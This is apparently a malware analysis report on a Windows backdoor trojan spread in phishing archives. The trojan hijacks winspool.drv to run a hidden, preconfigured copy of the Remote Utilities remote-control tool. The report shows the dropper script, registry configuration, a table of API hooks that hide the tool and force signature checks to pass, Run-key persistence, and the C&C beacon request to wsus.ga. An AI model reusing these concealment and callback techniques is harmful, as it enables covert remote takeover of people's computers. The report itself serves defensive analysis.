Packer: absent
Compilation date:
02.11.2020 00:26:28
SHA1 hash:
- c3e619d796349f2f1efada17c9717cf42d4b77e2
Description
A backdoor trojan that operates in the 32-bit and 64-bit versions of Microsoft Windows operating systems. The backdoor is written using components from the Remote Utilities software. It spreads within a self-extracting archive (7192d71d5a57e057a76f7b1857ab7d0c9ca2bf11) via phishing emails. The backdoor is designed to remotely control the infected computer.
Operating routine
The self-extracting archive is launched by the following script:
;Розміщений нижче коментар містить команди SFX-скрипта
Path=%APPDATA%\Macromedia\Temp\
Setup=WinPrint.exe
Silent=1
Overwrite=2
Content of the self-extracting dropper:
- libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), clean
- ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), clean
- UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), signed with valid digital signature
- WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), signed with valid digital signature
- winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — the main malicious module loaded via DLL Hijacking. It conceals the operation of the Remote Utilities software.
UniPrint.exe digital signature:
.>sigcheck -a UniPrint.exe:
Verified: Signed
Signing date: 16:46 02.07.2019
Publisher: Remote Utilities LLC
Company: Remote Utilities LLC
Description: Remote Utilities - Host
Product: Remote Utilities
Prod version: 6.10.10.0
File version: 6.10.10.0
MachineType: 32-bit
Binary Version: 6.10.10.0
Original Name: n/a
Internal Name: n/a
Copyright: Copyright © 2019 Remote Utilities LLC. All rights reserved.
Comments: n/a
Entropy: 6.359
WinPrint.exe digital signature:
.>sigcheck -a WinPrint.exe:
Verified: Signed
Signing date: 14:59 29.06.2017
Publisher: Ter-Osipov Aleksey Vladimirovich
Company: n/a
Description: Virtual Printer Properties Module
Product: RMS Printer
Prod version: 1.0
File version: 1.0
MachineType: 32-bit
Binary Version: 1.0.0.0
Original Name: n/a
Internal Name: n/a
Copyright: n/a
Comments: n/a
Entropy: 6.169
Winspool.drv table of exported functions:
118 RemoveYourMom
119 AddFormW
144 ClosePrinter
148 OpenDick
156 DeleteFormW
189 DocumentPropertiesW
190 HyXyJIuHagoToA
195 EnumFormsW
203 GetDefaultPrinterW
248 EnumPrintersW
273 GetFormW
303 OpenPrinterW
307 PrinterProperties
Functions that are not present in the original winspool.drv module and do not carry a functional load:
Exported functions with actual names contain transitions to the original functions subsequently loaded from the legitimate library.
DllMain
Some API functions are executed through pointers to adapter functions:
The get_proc function searches for the necessary API function by parsing the module export table. It then inserts the located address instead of the adapter function.
At the first stage, it loads the spoofed library. The name is not hardcoded, so the <system_directory>\<module_filename> library is loaded. It then parses its export table and loads the original API functions by ordinals, skipping invalid functions:
RemoveYourMom
OpenDick
HyXyJIuHagoToA
The backdoor then checks the context within which executable it is running. To do this, it checks the IMAGE_NT_HEADERS.OptionalHeader.CheckSum value of the main executable module:
- The value is equal to 0x2ECF3 — initial launch with WinPrint.exe
- The value is equal to 0xC9FBD1 — operating in the context of UniPrint.exe
If WinPrint.exe is running, the backdoor creates the UniPrint.exe process and ends the operation.
UniPrint.exe
When UniPrint.exe is running, the backdoor proceeds to perform the main functions. It checks whether the user has administrator access rights. Then it sets access rights to the directory with the module:
It then writes the General and Security parameters to the HKCU\SOFTWARE\WDMPrint registry key.
Value of the Security parameter:
<?xml version="1.0" ?>
<general_settings version="69110">
<port>5650</port>
<hide_tray_icon_popup_menu>true</hide_tray_icon_popup_menu>
<tray_menu_hide_stop>true</tray_menu_hide_stop>
<language>English</language>
<callback_auto_connect>true</callback_auto_connect>
<callback_connect_interval>60</callback_connect_interval>
<protect_callback_settings>false</protect_callback_settings>
<protect_inet_id_settings>false</protect_inet_id_settings>
<use_legacy_capture>false</use_legacy_capture>
<do_not_capture_rdp>true</do_not_capture_rdp>
<use_ip_v_6>false</use_ip_v_6>
<log_use>false</log_use>
<notify_show_panel>false</notify_show_panel>
<notify_change_tray_icon>false</notify_change_tray_icon>
<notify_ballon_hint>false</notify_ballon_hint>
<notify_play_sound>false</notify_play_sound>
<notify_panel_x>-1</notify_panel_x>
<notify_panel_y>-1</notify_panel_y>
<disable_internet_id>false</disable_internet_id>
<safe_mode_set>false</safe_mode_set>
<show_id_notification>false</show_id_notification>
<show_id_notification_request>true</show_id_notification_request>
<integrate_firewall_at_startup>true</integrate_firewall_at_startup>
</general_settings>
Value of the Security parameter:
<?xml version="1.0" ?>
<security_settings version="69110">
<single_password_hash>EEACE8FF203A9678664A51DA07E0ED76641C1F06570B2793A452CD521A1ABD8E6938A54AF36861B5AF21CA3EC485B0D19DFC6827862EB7ECA017DE035F9B5F15</single_password_hash>
<ip_filter_type>2</ip_filter_type>
<auth_kind>1</auth_kind>
<otp_enable>false</otp_enable>
<user_permissions_ask>false</user_permissions_ask>
<user_permissions_interval>10000</user_permissions_interval>
<user_permissions_allow_default>false</user_permissions_allow_default>
<user_permissions_only_if_user_logged_on>false</user_permissions_only_if_user_logged_on>
<disable_remote_control>false</disable_remote_control>
<disable_remote_screen>false</disable_remote_screen>
<disable_file_transfer>false</disable_file_transfer>
<disable_redirect>false</disable_redirect>
<disable_telnet>false</disable_telnet>
<disable_remote_execute>false</disable_remote_execute>
<disable_task_manager>false</disable_task_manager>
<disable_shutdown>false</disable_shutdown>
<disable_remote_upgrade>true</disable_remote_upgrade>
<disable_preview_capture>false</disable_preview_capture>
<disable_device_manager>false</disable_device_manager>
<disable_chat>true</disable_chat>
<disable_screen_record>false</disable_screen_record>
<disable_av_capture>false</disable_av_capture>
<disable_send_message>true</disable_send_message>
<disable_registry>false</disable_registry>
<disable_av_chat>false</disable_av_chat>
<disable_remote_settings>false</disable_remote_settings>
<disable_remote_printing>false</disable_remote_printing>
<disable_rdp>false</disable_rdp>
</security_settings>
It then prepares the value of the InternetID parameter using a format string:
<?xml version="1.0" ?>
<rms_internet_id_settings version="69110">
<use_inet_connection>true</use_inet_connection>
<use_custom_inet_server>%s</use_custom_inet_server>
<inet_server>%s</inet_server>
<inet_id_port>%s</inet_id_port>
<use_inet_id_ipv6>false</use_inet_id_ipv6>
<inet_id_use_pin>false</inet_id_use_pin>
</rms_internet_id_settings>
In this sample, the <use_custom_inet_server> value is set to false, and <inet_server> and <inet_id_port> are left empty:
The backdoor then creates the MDICLIENT and RMSHDNLT hidden windows:
After that, it begins intercepting API functions. To do so, it uses the MinHook library:
The list of intercepted functions is shown in the table:
Module name | API name | Functionality |
---|---|---|
kernel32.dll | CreateToolhelp32Snapshot | Always returns the 0xFFFFFFFF value. |
OutputDebugStringW | Functionality is absent | |
GetFileAttributesW | The function returns the FILE_ATTRIBUTE_NORMAL value for the rutserv.exe and rfusclient.exe files. It returns the INVALID_FILE_ATTRIBUTES for the English.lg file. In all other cases, it calls the original API function. |
|
CreateFileW | If the pipe name (\\.\PIPE\) containing one of the following strings — RMan, RMS, Buh, or {52E6 — is requested, the function adds the HDLT string to the name and passes it to the original function. If the name contains rutserv.exe and the working directory, it replaces this name with the name of the executable module and passes it to the original function. In all other cases, it calls the original API function. |
|
GetTempPathW | Returns the working directory. | |
CreateNamedPipeW | If the pipe name (\\.\PIPE\) containing one of the following strings — RMan, RMS, Buh, or {52E6 — is requested, the function adds the HDLT string to the name and passes it to the original function. If there are no required substrings, it calls the original function. |
|
FindFirstFileW | If the lpFileName argument contains rutserv.exe or *, the function checks the UniPrint.exe file in the working directory and returns the WIN32_FIND_DATAW structure with the rutserv file name in working directory. If *.lg or *.dll files are requested, it returns the INVALID_HANDLE_VALUE error code. In all other cases, it calls the original API function. |
|
CreateDirectoryW | If the directory name being created contains Remote Utilities Agent or rutserv.madExcept, it returns 0 (ERROR_SUCCESS). In all other cases, it calls the original API function. |
|
GetModuleFileNameW | If the hModule argument is 0x400000 (ImageBase of the executable module), the function returns the name In all other cases, it calls the original API function. |
|
CreateProcessW | If the application name or command line contains rfusclient.exe, it returns 1 (success). In all other cases, it calls the original API function. |
|
GetCommandLineW | Calls the original function, adds -second to the result, and then returns the resulting string. | |
CreateEventW | If the event name is Global\\RMSServer, the function adds the HDLT string, and then calls the original function. Other values may also be added; in this sample they are zero. |
|
wintrust.dll | WinVerifyTrust | Always returns zero, so the requested object is trusted. |
shell32.dll | SHGetSpecialFolderLocation | If the csidl argument is equal to CSIDL_APPDATA, the function returns zero (failure); otherwise, it calls the original function. |
Shell_NotifyIconW | Always returns 1 (success). | |
advapi32.dll | RegCreateKeyExW | If the system\Remote Utilities key is requested, it returns ERROR_ACCESS_DENIED. If the SOFTWARE\Usoris or SOFTWARE\Remote Utilities keys are requested, it replaces the key value with SOFTWARE\WDMPrint (where the connection parameters were previously written) and changes the section to HKCU. In all other cases, it calls the original API function. |
RegOpenKeyExW | Similar to the RegCreateKeyExW function, but in cases of the SYSTEM\Remote Utilities request, it returns the ERROR_FILE_NOT_FOUND error code. | |
RegSetValueExW | If the lpValueName argument is equal to the FUSClientPath, General or CalendarRecordSettings values, it returns zero (S_OK). For the remaining values, it calls the original function. | |
CreateProcessAsUserW | Similar to the CreateProcessW function. | |
OpenServiceW | If lpServiceName is equal to RManService, the function returns zero (failure). For other values, it calls the original function. | |
CreateServiceW | Similar to the CreateProcessW function. | |
user32.dll | MessageBoxA(W) | One hook for both versions of the function (ASCII, Wide). If a window with the MB_YESNO or MB_YESNOCANCEL types is requested, it returns IDYES. |
CreateWindowExW | This hook initializes the C&C server connection (see below). | |
wtsapi32.dll | WTSSendMessageW | Similar to the MessageBox function, if the Style parameter matches the MB_YESNO or MB_YESNOCANCEL values, the function returns IDYES; otherwise, it returns IDOK. |
ws2_32.dll | bind | If the port in the sockaddr structure is equal to the 5655 value stored in the bind_port global variable, the function replaces the IP address with localhost. There is an option for IPv4 and IPv6. In all other cases, it calls the original API function. |
htons | If the argument is not equal to 5650, it calls the original function. If not, it creates a TCP socket and attempts to connect to localhost via the bind_port port. If it succeeds, it closes the socket, reduces the port value by one, and calls the original htons function for the resulting value, then returns the value. If the bind_port value at the beginning of the function execution is already less than or equal to 80, the connection to localhost is skipped. |
|
winmm.dll | PlaySoundW | Returns 1. |
CreateWindowExW
When the CreateWindowExW function is intercepted, the class name of the creating window is checked. If it is equal to TMessageForm, the function returns zero. If a subsidiary window is created, (WS_CHILDWINDOW or WS_EX_CHILDWINDOW), the value of the parent window handle is replaced with the handle of the previously created window MDICLIENT. If the TEdit window is created, and contains the connection ID, the handle of this window is stored in a global variable. Next, Windows Sockets API (WSA) and SSL (SSLEAY32.dll library) are initialized. After that, the backdoor is registered in RunOnce under the Virtual Printer Driver name with the WinPrint.exe launch.
Following that, a thread is created to connect to the C&C server.
Connection to the C&C server
At the beginning, utilizing the TEdit window handle, the backdoor uses the GetWindowTextA function to get the InternetID required for remote connection. It then forms a GET request:
GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close
Next, it creates a TCP socket. After that, it checks the value of the global variable that stores the port for connection over the SSL protocol (in the sample it is zero). If the port is not zero, the connection is made over SSL, using the SSLEAY32.dll library functions. If the port is not specified, the backdoor is connected via port 80.
Then it sends the generated request. If a response is received, it waits 1 minute and then resends the request with Internet ID. If there is no response, it repeats the request after 2 seconds. The request transmission occurs in an infinite loop.